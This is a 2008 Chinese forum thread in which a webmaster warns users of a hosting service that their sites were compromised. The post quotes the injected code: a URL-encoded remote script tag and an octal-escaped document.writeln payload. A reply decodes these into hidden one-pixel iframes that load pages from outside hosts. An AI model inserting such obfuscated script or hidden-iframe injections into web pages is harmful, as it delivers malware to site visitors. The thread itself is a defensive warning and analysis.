警告：使用“捷信”空间的站长注意了！！！赶快检查你们的空间！！！

飞狼

今天突然发现，从2008年1月9日开始，捷信空间的服务器遭人入侵！！！

此黑客(组织或个人)会在你空间中的绝大多数网页里添加以下代码：

<script src=http://w%77w%33.d%64ns.%69nfo/%69%6E%66%6F%2E%6A%73></script>

在你所有的 .js 文件中添加以下内容：

document.writeln("\74\163\143\162\151\160\164\40\163\162\143\75\42\150\164\164\160\72\57\57\167\45\67\67\167\45\63\63\56\144\45\66\64\156\163\56\45\66\71\156\146\157\57\45\66\71\45\66\105\45\66\66\45\66\106\45\62\105\45\66\101\45\67\63\42\76\74\57\163\143\162\151\160\164\76");

同时，将你空间中的原 .SWF 动画文件替换为一个标题为“Red Motion”的动画（内容为一个翻跟头的机器人）

然后，在你的空间各个目录中上传各种形式的木马！！！

请各位站长注意及时清理相关内容，以策安全！！！

[ 本帖最后由 飞狼 于 2008-1-22 03:26 编辑 ]

很明显

汗

oujinjun

看来飞狼是中过招了!嘿嘿.

很明显

document.writeln("\74\163\143\162\151\160\164\40\163\162\143\75\42\150\164\164\160\72\57\57\167\45\67\67\167\45\63\63\56\144\45\66\64\156\163\56\45\66\71\156\146\157\57\45\66\71\45\66\105\45\66\66\45\66\106\45\62\105\45\66\101\45\67\63\42\76\74\57\163\143\162\151\160\164\76");

=document.writeln("<script src="http://w%77w%33.d%64ns.%69nfo/%69%6E%66%6F%2E%6A%73"></script>");

很明显

http://w%77w%33.d%64ns.%69nfo/%69%6E%66%6F%2E%6A%73
=
http://www3.ddns.info/info.js
=
document.write('<iframe src="http://www.59.vc/page/add_54738542.htm" width="1" height="1" frameborder="1"></iframe>');
document.write('<iframe src="http://www3.ddns.info/51yes.info.htm" width="1" height="2" frameborder="0"></iframe>');

sigar

不用国产空间。。。

huaduxu

原帖由 sigar 于 2008-1-22 10:03 发表

                               
登录/注册后可看大图

不用国产空间。。。

lll9p

不怕